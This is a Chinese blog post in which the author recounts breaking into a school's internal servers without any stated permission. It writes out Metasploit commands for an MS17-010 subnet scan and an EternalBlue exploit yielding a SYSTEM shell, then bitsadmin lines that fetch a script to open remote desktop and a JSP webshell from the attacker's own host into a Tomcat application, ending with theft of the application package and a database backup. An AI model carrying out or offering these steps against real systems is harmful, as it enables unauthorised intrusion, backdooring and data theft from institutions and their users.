渗透学校某内网服务器

渗透学校某内网服务器

”黑“掉自己的学校,可能是大多数黑阔们学生时代共同的执念。

前言:

心血来潮,突然想看看学校有没有能用永恒之蓝打下来的机器,顺便来一波内网渗透,想想上一次测试还是刚爆出永恒之蓝的利用工具的时候,那时候msf都还没整合进去,现在直接就能用msf方便多了。

信息收集:

已知 10.10.10.0/24 为学校各种服务器使用的IP

使用MSF中的批量ms17_010验证模块:

1
2
3
4
5
6
msf5 > use auxiliary/scanner/smb/smb_ms17_010 
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.10.10.0-10.10.10.254
rhosts => 10.10.10.0-10.10.10.254
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 20
threads => 20
msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit

扫描的结果如下

2

漏洞利用:

获取cmdshell

经测试IP为10.10.10.104的主机(2008 x64)可以成功利用:

该主机关键信息:

8080 端口运行着tomcat的服务,3389 端口未开放,3306 运行MySQL服务,其他端口暂不考虑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf5 > use exploit/windows/smb/ms17_010_eternalblue 
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.


Exploit target:

Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs


msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.10.104
rhosts => 10.10.10.104
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

如下图成功返回了一个CmdShell,而且还直接是System权限,不过比较疑惑的是,tasklist /SVC 看了下当前进程,有360的主动防御,按道理应该会拦截住的,可能我运气好吧2333:

3

cmdshell升级meterpreter(失败)

由于cmdshell不如meterpreter好用(meterpreter功能比较强大),尝试升级成meterpreter

第一种方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf5 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter 
msf5 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on.

msf5 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf5 post(multi/manage/shell_to_meterpreter) > run

第二种方法:

1
sessions -u 1

然后不知道为什么失败了(换个思路吧):

4

远程文件下载:

windows自带的远程文件下载功能很强大,需要用什么就远程下载什么好了。

一开始就想直接开端口,加账号登陆,没想到远程连接出现问题了,然后又想到可以拿下shell试试

开启远程连接

本机开一个apache服务,把 3389.bat 放到 /var/www/html 下,cmdshell 里执行,下载成功后,运行3389.bat

1
bitsadmin /transfer n http://IP/open3389.bat c:\windows\3389.bat

运行完毕后(记得删除),发现3389端口已经开启了

5

Kali下连接远程桌面出了点小问题,百度了下,也没讲多清楚(暂时就放弃了)。

6

不过后来换到win系统上好像就没问题了,因为当时就想着还是怎么方便怎么来(实体机运行的kali,换回win还得切系统),也就没抓密码。

7

尝试GetShell

先找到web所在目录(带空格的目录记得用双引号):

1
2
3
4
dir c:\
dir "c:\Program Files\"
...
dir "c:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\eleServer\"

看后台应该是个电力管理系统:

8

最后决定将shell放在该系统ui框架的某目录下了

9

同样用远程文件下载jsp大马到该目录下

1
bitsadmin /transfer n http://IP/xieying.jsp "c:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\eleServer\BJUI\plugins\xieying.jsp"

浏览器上访问大马并登陆:

10

结束

感觉再弄无非就是远程登陆,没什么必要,翻了翻系统文件,就把这个电力系统的war包,还有备份的数据库拿了下来,本地自己搭建下,应该就能得到系统的账号密码了。

删了shell,我还是个听话的好学生。

作者

Se7en

发布于

2019-04-01

更新于

2022-03-31

许可协议

评论